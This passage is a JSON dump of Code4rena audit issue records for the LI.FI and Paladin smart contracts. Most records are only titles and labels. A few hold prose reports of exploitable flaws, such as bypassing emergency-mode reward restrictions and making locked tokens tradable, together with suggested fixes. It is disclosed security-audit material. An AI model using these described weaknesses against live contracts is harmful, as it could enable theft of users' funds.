"https://github.com/code-423n4/2022-03-lifinance-findings/issues/217", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/212", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Should prevent users from sending more native tokens in the `startBridgeTokensViaCBridge` function", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/207", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-lifinance-findings", "body": "Should prevent users from sending more native tokens in the `startBridgeTokensViaCBridge` function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/206", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/204", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/202", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/201", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/196", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/194", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/183", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/182", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/171", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/169", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/168", "labels": ["bug", "disagree with severity", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/167", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/166", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "[WP-H7] Infinite approval to an arbitrary address can be used to steal all the funds from the contract", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "[WP-H7] Infinite approval to an arbitrary address can be used to steal all the funds from the contract"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/157", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/148", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/121", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "`AnyswapFacet` can be exploited to approve arbitrary tokens.", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved"], "target": "2022-03-lifinance-findings", "body": "`AnyswapFacet` can be exploited to approve arbitrary tokens."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/116", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/114", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/111", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Swap functions are Reenterable", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/109", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Swap functions are Reenterable"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/107", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Failed transfer with low level call won't revert", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/101", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Failed transfer with low level call won't revert"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "`msg.value` is Sent Multipletimes When Performing a Swap", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "`msg.value` is Sent Multipletimes When Performing a Swap"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/82", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/81", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/79", "labels": ["bug", "disagree with severity", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "All swapping functions lack checks for returned tokens", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/76", "labels": ["bug", "3 (High Risk)", "resolved"], "target": "2022-03-lifinance-findings", "body": "All swapping functions lack checks for returned tokens"}, {"title": "Reliance on lifiData.receivingAssetId can cause loss of funds", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/75", "labels": ["bug", "3 (High Risk)"], "target": "2022-03-lifinance-findings", "body": "Reliance on lifiData.receivingAssetId can cause loss of funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/72", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/68", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Anyone can get swaps for free given certain conditions in `swap`.", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Anyone can get swaps for free given certain conditions in `swap`."}, {"title": "Reputation Risks with `contractOwner`", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/65", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Reputation Risks with `contractOwner`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/56", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "ERC20 bridging functions do not revert on non-zero msg.value", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/53", "labels": ["bug", "2 (Med Risk)"], "target": "2022-03-lifinance-findings", "body": "ERC20 bridging functions do not revert on non-zero msg.value"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/52", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/50", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "`safeApprove` in `LibAsset` is unnecessary and waste gas", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/49", "labels": ["disagree with severity", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "`safeApprove` in `LibAsset` is unnecessary and waste gas"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/46", "labels": ["bug", "resolved", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/45", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "cBridge integration fails to send native tokens", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-03-lifinance-findings", "body": "cBridge integration fails to send native tokens"}, {"title": "DexManagerFacet: batchRemoveDex() removes first dex only", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/34", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-03-lifinance-findings", "body": "DexManagerFacet: batchRemoveDex() removes first dex only"}, {"title": "LibSwap: Excess funds from swaps are not returned", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/33", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved"], "target": "2022-03-lifinance-findings", "body": "LibSwap: Excess funds from swaps are not returned"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/29", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "WithdrawFacet's withdraw calls native payable.transfer, which can be unusable for DiamondStorage owner contract", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-03-lifinance-findings", "body": "WithdrawFacet's withdraw calls native payable.transfer, which can be unusable for DiamondStorage owner contract"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/7", "labels": ["bug", "sponsor disputed", "QA (Quality Assurance)"], "target": "2022-03-lifinance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-lifinance-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-03-lifinance-findings", "body": "Gas Optimizations"}, {"title": "Increasing the Lock Amount on an Expired Lock Will Cause Users to Miss Out on Rewards", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/95", "labels": ["2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code\r \r https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L284-L294\r \r https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1137-L1233\r \r # Vulnerability details\r \r ## Impact\r \r Paladin protocol allows users to increase the amount or duration of their lock while it is stil active. Increasing the amount of an active lock should only increase the total locked amount and it shouldn't make any changes to the associated bonus ratios as the duration remains unchanged. \r \r However, if a user increases the lock amount on an expired lock, a new lock will be created with the duration of the previous lock and the provided non-zero amount. Because the `action != LockAction.INCREASE_AMOUNT` check later on in the function does not hold true, `userCurrentBonusRatio` will contain the last updated value from the previous lock. As a result, the user will not receive any rewards for their active lock and they will need to increase the duration of the lock to fix lock's bonus ratio.\r \r ## Recommended Mitigation Steps\r \r Consider preventing users from increasing the amount on an expired lock. This should help to mitigate this issue.\r "}, {"title": "Users Can Bypass Emergency Restrictions on updateUserRewardState()", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/94", "labels": ["2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code\r \r https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1338-L1378\r \r https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L876-L906\r \r # Vulnerability details\r \r ## Impact\r \r The `emergencyWithdraw()` function intends to withdraw their tokens regardless if they are locked up for any duration. This emergency must be triggered by the owner of the contract by calling `triggerEmergencyWithdraw()`. A number of functions will revert when the protocol is in an emergency state, including all stake, lock, unlock and kick actions and the updating of a user's rewards. However, a user could bypass the restriction on `_updateUserRewards()` by transferring a small amount of unlocked tokens to their account. `_beforeTokenTransfer()` will call `_updateUserRewards()` on the `from` and `to` accounts. As a result, users can continue to accrue rewards while the protocol is in an emergency state and it makes sense for users to delay their emergency withdraw as they will be able to claim a higher proportion of the allocated rewards.\r \r ## Recommended Mitigation Steps\r \r Consider adding a check for the boolean `emergency` value in `_beforeTokenTransfer()` to not call `_updateUserRewards` on any account if this value is set. Alternatively, a check could be added into the `_updateUserRewards()` function to return if `emergency` is true.\r "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/85", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "System could be wrapped and made useless without contract whitelisting", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/77", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L253 https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L284 https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L268 # Vulnerability details ## Impact Anyone could create a contract or a contract factory \"PAL Locker\" with a fonction to deposit PAL tokens through a contract, lock them and delegate the voting power to the contract owner. Then, the ownership of this contract could be sold. By doing so, locked hPAL would be made liquid and transferrable again. This would eventually break the overall system of hPAL, where the idea is that you have to lock them to make them non liquid to get a boosted voting power and reward rate. Paladin should expect this behavior to happen as we've seen it happening with veToken models and model implying locking features (see https://lockers.stakedao.org/ and https://www.convexfinance.com/). This behavior could eventually be beneficial to the original DAO (ex. https://www.convexfinance.com/ for Curve and Frax), but the original DAO needs to at least be able to blacklist / whitelist such contracts and actors to ensure their interests are aligned with the protocol. ## Proof of Concept To make locked hPAL liquid, Alice could create a contact C. Then, she can deposit hPAL through the contract, lock them and delegate voting power to herself. She can then sell or tokenize the ownership of the contract C. ## Recommended Mitigation Steps Depending of if Paladin wants to be optimistic or pessimistic, implement a whitelisting / blacklisting system for contracts. See: https://github.com/curvefi/curve-dao-contracts/blob/4e428823c8ae9c0f8a669d796006fade11edb141/contracts/VotingEscrow.vy#L185 https://github.com/FraxFinance/frax-solidity/blob/7375949a73042c1e6dd14848fc4ea1ba62e36fb5/src/hardhat/contracts/FXS/veFXS_Solidity.sol.old#L370 "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Users with large `cooldown`s can grief other users", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/69", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor disputed"], "target": "2022-03-paladin-findings", "body": "Users with large `cooldown`s can grief other users"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Emergency mode enable/disable issue", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/64", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-paladin-findings", "body": "Emergency mode enable/disable issue"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/62", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "UserLock information can be found during emergency mode", "html_url": 